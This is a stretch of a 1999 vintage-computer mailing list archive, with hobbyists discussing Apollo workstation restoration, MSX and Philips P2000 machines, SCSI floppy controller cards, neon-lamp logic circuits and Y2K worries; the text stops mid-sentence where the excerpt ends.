DN5500. Doh!! It's been a LLOONNGGG time since I had this Apollo out and running, and of course I had forgotten how these things work... Of course, the "ex" command is part of what I forgot... And to make things a bit more interesting, I also forgot the root password. But luckily my memory came back quickly, I'd hate to think how long it would take to get it back up running if I forgot the password... >When you boot in service mode, you get the "phase one shell" which is >really just a simple ROM monitor. The machine will load and run its >self-tests, and then return the phase one shell prompt. Typing "H" will >get you a list of the commands you can use at this point. My favorite part... It's the only one that has every worked very well for me. BTW, when in service mode don't forget to hit the return key to tell it that you're there... >if the phase 2 shell loads ok, type "go" to finish booting the OS. If the >OS won't boot from the phase 2 shell, reset the machine, EX SALVOL, REset >twice, and then EX DOMAIN_OS again. You can do a number of things from the >phase 2 shell; "help" will get you a list of commands. actually you should type "init", at least on my system. >If the machine isn't hooked up to a network, the network traffic >indicators seem to behave non-deterministically. I've noticed that. Also a lot of errors if you run DEX and it's not hooked up. >Disks formatted for use in the DN5500 are not useable on other machines >without reformatting, either (the same thing holds in reverse), so if your >780 MB disks were used on a DN5500, neither will be accessible on anything >other than another DN5500. Ouch!! That wasn't very nice... But I don't think it's from a 5500. Maybe a 4000 or a 3000, but not a 5500. The machine seems to recognize it just fine, but won't do anything because it doesn't have the SAU7 stuff loaded. So now my DN3500 is loaded down and ready to pop circuit breakers(as if that huge monitor couldn't do it alone). It's got 32MB RAM, a WD-7000 disk controller(got two more of those and lots of OMNI's), an ugly little DR network card(maybe I'll put ethernet in) and the PC card. No floppy drive or tape drive, gotta work on that later. But first I need to figure out how to hook up and access two drives atthe same time! Can't boot from a disk with no OS, but can't plug in two drives at the same time with the cables I have... So next I'm going to try to stuff one of those 3000 motherboards(or was it from a 3010?) into the old 3500 case and see if I can't get it running. Unfortunately, I only have one keyboard and one monitor. But I DO have TWO mice. The new one has three buttons that are kinda slanted, and on the bottom it says it was made in Switzerland. And it's backwards! Roll it down, the cursor moves up... Might be good for an upside-down trackball though ;-) -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From red at bears.org Mon Jan 4 02:08:47 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:39:46 2005 Subject: Apollo problems In-Reply-To: Message-ID: On Sun, 3 Jan 1999, John Rollins wrote: > interesting, I also forgot the root password. But luckily my memory came > back quickly, I'd hate to think how long it would take to get it back up > running if I forgot the password... If you forget the password, you're pretty much just hosed and need to do a complete re-install. This isn't always the case; sometimes there are things you can do. But DOMAIN/OS isn't UNIX! A lot of things like single-user booting that you start to take for granted don't work the same way on an Apollo. > actually you should type "init", at least on my system. 'init' to load the OS? 'go' is likely a synonym. It's been a while since I've been at the phase 2 shell, though, so you could be right. I know 'go' works, though. (: > Ouch!! That wasn't very nice... But I don't think it's from a 5500. Maybe a > 4000 or a 3000, but not a 5500. The machine seems to recognize it just I'm almost positive the WD7000 won't work in the DN3000, and thus is unable to use the 780MB disk. It'll work in a DN4000, though. All the machines that support the WD7000 and are not the DN5500 are SAU7 machines. The DN5500 is SAU14. > fine, but won't do anything because it doesn't have the SAU7 stuff loaded. Not only that, but the DN5500 uses a different block size for its disk format than all the rest (4K vs 1K), which is why it's incompatible even beyond the SAU issues. > So now my DN3500 is loaded down and ready to pop circuit breakers(as if > that huge monitor couldn't do it alone). Nah. It only looks power hungry. The big 19" monitor is rated 2A. Wimpy! > controller(got two more of those and lots of OMNI's), an ugly little DR > network card(maybe I'll put ethernet in) and the PC card. No floppy drive If you do, I could use one of the single slot ATR cards and some cabling so I can make my DN5500 into a router... > or tape drive, gotta work on that later. But first I need to figure out how > to hook up and access two drives atthe same time! Can't boot from a disk > with no OS, but can't plug in two drives at the same time with the cables I > have... You may be able to do this with just a network connection; check comp.sys.apollo in DejaNews; you also may not be able to actually install from the other drive depending on what files are on it and how they're set up. Good luck! > So next I'm going to try to stuff one of those 3000 motherboards(or was it > from a 3010?) into the old 3500 case and see if I can't get it running. Um.. that may not actually work. The 3000 and 3500 cases are different; mostly in the power supply area. > Unfortunately, I only have one keyboard and one monitor. But I DO have TWO > mice. The new one has three buttons that are kinda slanted, and on the > bottom it says it was made in Switzerland. And it's backwards! Roll it > down, the cursor moves up... Might be good for an upside-down trackball > though ;-) The mice are just Logitech three button mice. Pretty sure they're simply serially interfaced, too. Nothing obviously special about them at all. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From Hans.Franke at mch20.sbs.de Mon Jan 4 06:46:27 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:46 2005 Subject: Old Microsoft MSX standard? In-Reply-To: References: <006501be326a$cb688760$e0e5fea9@mainoffice> from "Richard A. Cini, Jr." at Dec 28, 98 09:02:17 am Message-ID: <199901041147.LAA22934@nixpbe.pdb.sni.de> > > While reading some late-1984 Byte mags, I came across a description of > > the Microsoft MSX computer standard. Implemented mostly by Japanese computer > > manufacturers, an MSX computer is CP/M based with 32k of RAM, a cassette > > port, RF modulator, and cartridge slots for expansion. I picture a Z80-based > > VIC-20 or C64, although not in that physical form. > IIRC it was a 'standardised' home computer. It was a Z80A + standard > sound chip + standard video chip (I forget which ones) + standard > microsoft basic in ROM. The idea was that software or peripherals from > one machine would work on all of them. Also a disk format, but not CP/M but rather MS-DOS alike. At the first moment when I saw it back then, I thought 'clever MS - they try to sell DOS 1.0 again'. Basicly the complete structure was well definded. All kinds of hardware posibilities where fixed by MS. If one agrees on an open 8-Bit home computer standard, MSX was a real good choise. The situation could be compared to the NEC/Tandy/Olivetti handheld family - kompatible Units with diferent flavour. In Japan dozends of companies designed their own system acording to the standard or sold one as OEM. A lot of Companies tried to get on the bandwagoon, sspecialy some camera manufacturers, which lead to the nice fact, that most MSX systems in Germany where sold by foto shops rather than computer shops (And I still think the Yashica YC-64 is the most beautifull homecomputer ever build), and since this kind of stores is used to thing in years rather than week of selling, they have been available quite a long time, and pretty mutch time and displayspace to develop. Without the C64, I think the MSX would have been #1. > I remember going to a presentation in 1985 given by people from 2 of the > companies who made MSX machines. We got them to try each other's > cartridge software. At least one machine (and IIRC both of them) failed > to run the other company's software properly.... Letmeguess: one was a SectraVideo ? In fact, with an exception of SpectraVideo (which later on also offered a CP/M add on instead of MSX-DOS) all systems where pretty interchangeable, so you could select the flavour you like ands still runn all Soft. > The physical form of 'A C64 or VIC20' wasn't too far from the truth. It > was built into a keyboard-like case and plugged into your TV for video > output. Most, but some units, like one 'high class' MSX from Sony had a seperate Keyboard, and looked more like a slim line PC. Ther also had been a wide variety of add ons, starting from cheap (music) keyboards up to MIDI in/out for 'real' synts, and from still video digitizer and subtitle engines up to real time video manupilation and real time frame grabbers. And thake a look at http://www.msxnet.org/ Servus Hans -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 4 07:01:39 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:46 2005 Subject: video reversing In-Reply-To: <01be3306$311913e0$5d8ea6d1@the-general> Message-ID: <199901041202.MAA23873@nixpbe.pdb.sni.de> > >Is it realy a colour display ? AFAIR these where B&W LCDs with > >a blueish backlight - so the dark blue is just 'less' blue > >due a switched on cell :) The only solution is to select for > >all used programms fore/background colours that match your need, > >like black on white whitch should result in light blue on dark > >blue - but belive me, the readability is poor. > It's Color in the fact that it uses shades of blue instead of shades of > gray. The dark blue is actually a switched off cell. I know it sounds > backwards, but when I disconnected the video cable once, and only the > backlight was on, the whole thing was dark blue. Sounds still B&W to me - Maybe 'black' is the neutral position ? I don't know. > I tried a little program that reverses the color, until something else > changes it, and it's actually easier to read (as long as the contrast is set > right). It's actually easier to read than some CRT's that I've seen, > because the letters aren't fuzzed out at the edges. I found theese blue backlights once on a Zenith - realy neat for that time (~1985?). Gruss h. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 4 08:31:46 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:39:47 2005 Subject: "Single instance" machines In-Reply-To: <199812311641.RAA10636@iaehv.IAEhv.nl> Message-ID: <199901041332.NAA00467@nixpbe.pdb.sni.de> >>> How about the Philips P2000 family? I have not seen messages about >>> those machines on the list. Z80 system, 48K RAM, 16K ROM in a cart >>> so it was easy to change programs, micro cassette recorder that was >>> operated by the computer so no fiddling with buttons, floppy drives >>> optional, video 40x24 color (viewdata/teletext character set) or >>> 80x24 monochrome. Started life as a dedicated word processor, BASIC >>> cart added later. >>> picture at http://www.iae.nl/users/pb0aia/cm/sroom.html > >>Hi Kees, your pages are always interesting. Haven't visited in a while. >>You mention that the P2000 started as a dedicated WP. Could this have >>been the Philips Micom 2000 ? If so, any other info ? > The P2000 family I was talking about has four lines that are incompatible > with each other. > - The P2000T (cassette, 40 char video) / P2000M (disk, 80 char video) > which was the most common here in The Netherlands. They were the same > internally but had different video. Most programs were interchangable. > A CP/M card was available for it from the Philips computer club. Also > a floppy disk controller for the T that was compatible with the internal > one in the M. > - The P2000C luggable, the most advanced one, CP/M, even had a 8088 > 'CoPower' card available for it that could run MSDOS. You could attach > an external hard disk via a SASI interface. It could read and write the > disk formats from all the other members, and of a lot of CP/M systems too. > - The P2000B/P2500, a CP/M disk system with 5.25i disks, monitor and disks > in one cabinet like the P2000M, on top of a passive backplane cabinet > like the Northstar with everything on cards. 8i floppy controller available. I have a P2000C with external HDD (5 1/4",10MB). Quite a good CP/M system (In fact, the only CP/M I have in use). So what are the chances to get an P2000T and P2000M ? And the price ? over here in southern germany they are almost unknown. Hard to see a Philips MSX system, but never a 2000M. Also the 8088 Card :) Servus Hans -- Ich denke, also bin ich, also gut HRK From Innfogra at aol.com Mon Jan 4 07:38:39 1999 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:39:47 2005 Subject: NCR SCSI / 5380 Floppy only card Message-ID: <447298fd.3690c45f@aol.com> In a message dated 1/3/99 4:07:25 AM Pacific Standard Time, hansp@digiweb.com writes: > > > On the topic of vintage SCSI: where NCR 5386 datasheet can be found? > > > Preferably in .PDF? (Tektronix 4336 uses this chip.) > > > > I would check http://www.ncr.com/ and http://www.adaptec.com/ (Adaptec > bought > > Symbios). > > Better to try it was LSI Logic who bought > Symbios a little while ago... A quick scan showed no obvious links to > data on the 5386 though :-( > The SCSI to Floppy controllers I got from the Biin project use this chip. The cards were made by NCR (1987) and are labeled SCSI FLEX SE. It is a SCSI/Floppy only and has an 80188 microprocessor on it also. The NCR chip has written on the top NCR/5380 CPO1946 6-1082073 8845A There is another intel ASIC on the card, labeled P 82072. along with a 27256 EPROM (Z17412 printed on the sticker) and a 6264-12 memory chip. The bad news is there are two switch blocks, a 4 position and an 8 position, and I have absolutely no documentation. The numbers on the card I have in front of me is: ADP200103117004A SCHM348-0017864b I hopes this helps in the search for data. Now I have to reply to the list members who were interested in purchasing some of theses. The question of how intelligent the cards were was prominent mentioned so I offered to get numbers off of them this weekend. I am passing it out now. I will reply shortly to the members who are intrusted with these particulars. To those who missed the original posting I am offering theses circuit cards for $5 each plus shipping. They SCSI Flex SE cards are NEW, mostly sealed packages. (It is amazing that someone feels the need to open a new package even if he is one open Please reply to me directly at whoagiii@aol.com Thanks again, Paxton Portland, Oregon, USA From Philip.Belben at pgen.com Mon Jan 4 10:15:38 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:39:47 2005 Subject: Replies to old threads Message-ID: <802566EF.005EA6D7.00@WESTD90.pgen.co.uk> >> And you had to re-solder some inter-board connecting wires on the core >> memory modules. IIRC these wires were little strips of springy stuff. > > I'm not sure I count faults that _I've_ caused. The core memory soldering > failed when I dismanted a core module to show some people how it worked. > Had I left it assembled it would probably have carried on working. Perhaps it would. But that doesn't mean you caused the fault. A dry joint is still a fault; even if you are the one who makes it lose contact, it wasn't you who made the joint dry... Philip. From g at kurico.com Mon Jan 4 12:27:59 1999 From: g at kurico.com (George Currie) Date: Sun Feb 27 18:39:47 2005 Subject: NeXT In-Reply-To: References: Message-ID: You can also try www.deepspacetech.com George > On Sun, 3 Jan 1999, Doug Yowza wrote: > > > Both those places want $20 for the cable (which is $5 more than I paid > > for the rest of the system). Is there any reason to believe that a > > straight-through 25-pin cable suitably munged wouldn't do the trick? > > Aside from data cables being unsuitable for carrying monitor power, no. > > Spend the $20 on the proper cable. > > -- > ok > r. r e d @ b e a r s . o r g > =========================== > [ urs longa | vita brevis ] > From DSEAGRAV at toad.xkl.com Mon Jan 4 12:55:05 1999 From: DSEAGRAV at toad.xkl.com (Daniel A. Seagraves) Date: Sun Feb 27 18:39:47 2005 Subject: DEC WARS, for your Nintendo Game Boy! Message-ID: <13417260844.8.DSEAGRAV@toad.xkl.com> Been playing with VGB, a game boy emulator for DOS. Got copy of Star Wars ROM. Applied hex editor. STAR WARS becomes DEC WARS. The screwed-up^Wedited ROM image is at ftp://bony.umtec.com/decwars.gb until someone complains about it. All I did was screw up the text, it should be fun to play with. Let me know. ------- From ard at p850ug1.demon.co.uk Mon Jan 4 12:45:46 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:47 2005 Subject: 5155 floppy fixed In-Reply-To: from "SUPRDAVE@aol.com" at Jan 3, 99 09:23:38 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 708 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990104/0b9b13a6/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 4 12:48:04 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:47 2005 Subject: Anyone else done this...? In-Reply-To: <19990104072955.12349@firepower> from "Sergey Svishchev" at Jan 4, 99 07:29:55 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 569 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990104/8237e604/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 4 13:12:49 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff In-Reply-To: from "Don Maslin" at Jan 3, 99 11:00:59 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3833 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990104/174d4c1f/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 4 13:39:24 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:47 2005 Subject: NCR SCSI / 5380 Floppy only card In-Reply-To: <447298fd.3690c45f@aol.com> from "Innfogra@aol.com" at Jan 4, 99 08:38:39 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 751 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990104/5fae41b4/attachment.ksh From dcoward at pressstart.com Mon Jan 4 15:18:45 1999 From: dcoward at pressstart.com (Doug Coward) Date: Sun Feb 27 18:39:47 2005 Subject: Bulbs in parallel Message-ID: Sorry this is so late. I just don't do email when I'm at home. And so over Christmas a lot of email piled up and I'm way behind in my reading. If this question has been answered, well I havn't gotten that far yet in my reading. >On Sat, 19 Dec 1998 CLASSICCMP@trailing-edge.com wrote: >> Unfortunately, lots of "fundamental" knowledge gets left out when you >> skip electric lights and go to things much more complex. Max Eskin said: >OK, now I have the feeling I may have forgotten something. When you wire >some bulbs in series, and one burns out, they all fail. If they are wired >in ||, and one burns out, the others keep burning. What more is there? OK, what would you say if I told you that you could build a two input AND gate or a two input OR gate using just two neon bulbs (in parallel), one resistor AND NO TRANSISTORS? Or, how about a one bit readable, writable memory circuit consisting of one neon bulb, two resistors, and a capacitor? How about a ring counter with no ICs, no transistors? I put some scanned pages up on my web page so you could grab them. The .ZIP file consists of 11 .GIF files. Each file represents two pages. So lamp4546.gif (pages 45 and 46) is the first two pages and lamp6566.gif is the last two pages. The zip file is at http://www.best.com/~dcoward/lamp.zip If you can't view .GIF files offline, then just bring up each file with your browser. Start with http://www.best.com/~dcoward/lamp4546.gif I'll leave the files up for at least a week. I hope this rekindles your interest in lamp circuits. ========================================= Doug Coward Press Start Inc. Sunnyvale,CA ========================================= From dastar at ncal.verio.com Mon Jan 4 15:33:28 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff In-Reply-To: Message-ID: On Mon, 4 Jan 1999, Tony Duell wrote: > Even if you set the date then there may not be problems. If the date is > only used for 'cosmetic' purposes (heading a printout, something like > that), then it may be wrong, but the device will keep working. > The main problem comes when the date is used for something more. And the > real problem comes when it's used for a maintenance timer. Some things, > lifts (elevators) being the most common example, have to be inspected > every so many days. And there's a timer in the control unit that shuts > them down - safely (go to ground floor, open doors) if this timer > expires. The timer is reset by the service engineer when he does the > inspection, of course. > > Now, on most such systems the timer is a simple day counter. And AFAIK > counting days does not depend on the month or year, or anything else. So > they keep working as ever. To do it this way is simple, it takes little > programming (to work out a date 90 days in the future is a lot more work > than counting to 90), and it doesn't suffer from problems. The only thing I can think of where a date issue would cause a system to be Y2K non-compliant is something that tracks days throughout the year, and thus would need to know if February is 28 or 29 days this year. > For the average person, the only thing that might have problems is the > VCR. I personally wouldn't try to set the timer past the year 2000. I'd > not try to automatically record a programme over 01/01/2000 00:00. I'd do > it by hand. Realistically, though, most VCRs don't have problems. > Paradoxically, the more intellegent ones - the ones with barcode > programming, video+, automatic dayname setting based on the date are more > likely to have problems than the older ones. The VCR I bought in 1993 (Panasonic) has a 4-digit year field for programming, and does go to 2000 and beyond. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From kurtkilgor at bigfoot.com Mon Jan 4 16:05:32 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff Message-ID: <199901042207.OAA10408@geocities.com> > Alas on a few of the more complex systems there is a real time clock chip > - sometimes there's even an embedded PC in there. And if the code is > badly written then there can be problems. Note that AFAIK in every case > things fail _safe_. But they could fail - like the fire trucks not working. For one thing, the issue with 'expired' credit cards is real. Of course, the end of the world isn't going to occur because of this, but it is still serious enough to try to fix the problems. You wouldn't really _want_ that elevator to stop working when you're trying to make the appointment on the 40th floor, would you? Sure, it could fail for other reasons too, but this is something that ought to be double-checked since we know about it. From bobatk at EXCHANGE.MICROSOFT.com Mon Jan 4 16:30:07 1999 From: bobatk at EXCHANGE.MICROSOFT.com (Bob Atkinson (Exchange)) Date: Sun Feb 27 18:39:47 2005 Subject: Need: Northstar Boot Disk Message-ID: Anthony: Regarding your year-old posting: http://www.heydon.org/kevan/mlists/classiccmp/1998-01/msg00022.html Did you ever find a disk? I've got several such disks, and could help you out, especially as it appears that you're a local (I'm in Woodinville). On the flip side, my MD5-AD3 seems to have gone south over the last decade of non-use, and I'm looking to replace it, or at least find one to temporarily swap with to confirm that it's indeed the disk controller that's iffy. Would you know of anyone that might be able to help me out? Thanks. Bob Atkinson 425-936-5570 (w) From eric at brouhaha.com Mon Jan 4 16:53:22 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff In-Reply-To: (ard@p850ug1.demon.co.uk) References: Message-ID: <19990104225322.2255.qmail@brouhaha.com> Tony wrote: > I won't claim to be knowledgeable (truly or otherwise), but IMHO you're > right. The panic is much, much worse than the problem. Sure there will be > glitches, but I suspect the worst problem will be when people realise > that 'Y2k consultants' have been extracting money from people for no good > reason! I entirely agree. IMNSHO, the biggest real Y2K problem will be the run on the banks, which will not happen for any technical reason, but only because people are whipped into a frenzy about the Y2K problem. Basically a self-fulfilling prophecy. Especially ironic since the banking industry is considered to be at the least risk for Y2K technical problems, since they started working on it long before most people even thought about it. The Federal Reserve has printed an extra 5.0e10 dollars to try to prevent a collapse of the banking system. I think that's really a clever move to try to instill confidence that there won't be banking problems; if there really IS a run on the banks, 50 billion won't cover it. Hmmm... since there might be a run on the banks, maybe I'd better take my money out before it happens, and invest it in something with lasting value, like computers. :-) Eric From Innfogra at aol.com Mon Jan 4 17:10:03 1999 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 18:39:47 2005 Subject: NCR SCSI / 5380 Floppy only card Message-ID: In a message dated 1/4/99 1:13:11 PM Pacific Standard Time, ard@p850ug1.demon.co.uk writes: > > The 82072 isn't an ASIC - at least not a custom one. It's a single-chip > floppy controller - basically a PC/AT floppy interface minus the address > decoder. I have the data sheets. > I thought ASIC was "Application Specific Integrated Circuit" which the floppy controller would seem to qualify. I agree that it is not a custom chip. Thanks for the info Tony. What drive sizes does it support? Paxton From dburrows at netpath.net Mon Jan 4 17:11:04 1999 From: dburrows at netpath.net (Daniel T. Burrows) Date: Sun Feb 27 18:39:47 2005 Subject: TK50Z-GA Message-ID: <004d01be3838$f7f75c60$bf281bce@p166> Any luck with Zane on the board? Dan -----Original Message----- From: Bruce Lane To: Discussion re-collecting of classic computers Date: Saturday, January 02, 1999 6:30 PM Subject: WTD: TK50Z-GA > OK -- I'm making progress. Thanks to John Wilson at Dbit, I found out >that the TK50's I'm using may not actually be "standard" SCSI, but a >bastardized implementation used only for VS2000's. > > With that in mind, if anyone's got a TK50Z-GA in working condition >(NOT the -FA, which is what I have) that they feel like parting with, I >would be happy to buy it. > > Thanks in advance. > > >-=-=-=-=-=-=-=-=- >Bruce Lane, Owner and head honcho, >Blue Feather Technologies -- kyrrin (at) bluefeathertech [dot] com >Web: http://www.bluefeathertech.com >"...No matter how we may wish otherwise, our science can only describe an object, >event, or living thing in our own human terms. It cannot possibly define any of them..." > From rigdonj at intellistar.net Mon Jan 4 19:33:44 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff In-Reply-To: <19990104225322.2255.qmail@brouhaha.com> References: Message-ID: <3.0.1.16.19990104193344.4497226a@intellistar.net> At 10:53 PM 1/4/99 -0000, Eric wrote: >Hmmm... since there might be a run on the banks, maybe I'd better take my >money out before it happens, and invest it in something with lasting value, >like computers. :-) Hmm. I've already done that without intending to! :-/ Joe From allisonp at world.std.com Mon Jan 4 18:00:32 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff Message-ID: <199901050000.AA01095@world.std.com> References: Message-ID: >I'm almost positive the WD7000 won't work in the DN3000, and thus is >unable to use the 780MB disk. It'll work in a DN4000, though. All the >machines that support the WD7000 and are not the DN5500 are SAU7 machines. >The DN5500 is SAU14. Hmm. Well, it's actually a 3010. Put an OMTI controller in(forget which one), and plugged it into a 155MB drive. It recognizes it, but no OS so nothing happens except for sysboot and sys_test missing errors. But otherwise it seems OK. Put together most of a 4000 system, just needs the 68020 CPU chip and I think it needs either an FPU(which is optional anyways) and a PMU(don't remember how many sockets are in there). I might try using the slower chips from the extra 3010 board, but I'd rather find the 25MHz chips first. I'm not sure what to do with the extra 3500 or 4000 boards. Guess I'll box 'em up for a while until I get the stuff they need. >Nah. It only looks power hungry. The big 19" monitor is rated 2A. Wimpy! Actually I have a fuzzy-pictured 15"(awful big for a 15" monitor), and it's rated at 1.9A/200W at 120V. >If you do, I could use one of the single slot ATR cards and some cabling >so I can make my DN5500 into a router... Email me privately and we can arrange something for that... I don't have any cabling and most of the DR cards are somewhat modified, ranging from some small jumper wires to one of the ASICs being ZIF socketed. >Um.. that may not actually work. The 3000 and 3500 cases are different; >mostly in the power supply area. Actually the 3010 and 3500 use the same power supply. The 3500 has a rather large straight connector, and the 4000 uses more of a Molex style connector. One of the web sites listed in the FAQ mentions it, part numbers for the 3000 and 3500 PS's are the same, although you need to remove the extension on the RAM mounting plate to fit the 3000 memory modules into a previous 3500 case. Otherwise it fits perfectly. I just wish they didn't weigh so much... I'm suprised the table next to me hasn't collapsed! It's got three CPU's and the 15" monitor on it. -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From ard at p850ug1.demon.co.uk Mon Jan 4 17:20:12 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:47 2005 Subject: Bulbs in parallel In-Reply-To: from "Doug Coward" at Jan 4, 99 01:18:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1253 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990104/daf88624/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 4 17:23:02 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff In-Reply-To: from "Sam Ismail" at Jan 4, 99 01:33:28 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1154 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990104/30a83d07/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 4 17:29:15 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff In-Reply-To: <199901042207.OAA10408@geocities.com> from "Max Eskin" at Jan 4, 99 05:05:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1697 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990104/6aa7ea64/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 4 17:34:22 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff In-Reply-To: <19990104225322.2255.qmail@brouhaha.com> from "Eric Smith" at Jan 4, 99 10:53:22 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1336 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990104/d786ac5c/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 4 18:18:50 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:47 2005 Subject: NCR SCSI / 5380 Floppy only card In-Reply-To: from "Innfogra@aol.com" at Jan 4, 99 06:10:03 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1435 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/59595694/attachment.ksh From jim at calico.litterbox.com Mon Jan 4 18:25:01 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:39:47 2005 Subject: y2k stuff Message-ID: <199901050025.RAA14288@calico.litterbox.com> What boggles the mind is that this is a problem at all. It seems hard to believe (in retrospect) that people really did deliberately build software with only 2 digit years. I know it saved a few bytes, and yes, I remember when a byte of memory was a significant amount, but still. How did standard programming practice come to be so short sighted as to assume that software infrastructure would be thrown out and replaced on a regular basis? -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From ard at p850ug1.demon.co.uk Mon Jan 4 18:23:10 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff In-Reply-To: <199901050000.AA01095@world.std.com> from "Allison J Parent" at Jan 4, 99 07:00:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 817 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990105/29ae2edd/attachment.ksh From jim at calico.litterbox.com Mon Jan 4 18:33:58 1999 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:39:47 2005 Subject: Y2K stuff In-Reply-To: from "Tony Duell" at Jan 04, 1999 11:29:15 PM Message-ID: <199901050033.RAA14330@calico.litterbox.com> > Sure. Nobody is saying that you shouldn't check things. Just as I don't > expect a power cut at the end of this year, but I'll have a working torch > (flashlight) in the house. I always do. Power failures can occur. I just > don't expect the date per se to be a particularly likely cause of one. > > What a lot of use are saying is that the media reports of massive > disasters, end of civilisation, etc are plain wrong. It won't happen like > that - at least not because of equipment failure. When people ask me (and god forbid, they DO ask me - for some friends and family I'm the only person they know who's computer literate) I tell them I'd keep a month's worth of cash on hand, especially if they're on government support. Food, fuel, and water might not be bad things - fill the car's gas tank - those credit card pumps may not be ok, even if the credit card is. Do I really plan (as I often joke) to spend next new year hiding in the basement with a gun? Well no. :) I do expect some minor or not so minor inconveniences, especially with the flow of money. I expect the IRS (internal revinue service -the organization that collects taxes in the US) to have problems, because they've proven themselves totally incompetant computerwise before. With a few exceptions I also expect most of the y2k problems that would effect me to have been cleared up by the end of January, 2000. Companies aren't going to sit around idle any longer than they have to, because this is cash they're loosing. Government agencies will undoubtedly take longer. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- Vote Meadocrat! Bill and Opus in 2000 - Who ELSE is there? ----------------------------------------------------------------------- From dastar at ncal.verio.com Mon Jan 4 18:36:48 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:39:47 2005 Subject: y2k stuff In-Reply-To: <199901050025.RAA14288@calico.litterbox.com> Message-ID: On Mon, 4 Jan 1999, Jim Strickland wrote: > What boggles the mind is that this is a problem at all. It seems hard to > believe (in retrospect) that people really did deliberately build software > with only 2 digit years. I know it saved a few bytes, and yes, I remember > when a byte of memory was a significant amount, but still. How did standard > programming practice come to be so short sighted as to assume that software > infrastructure would be thrown out and replaced on a regular basis? With the rate of change in the computer 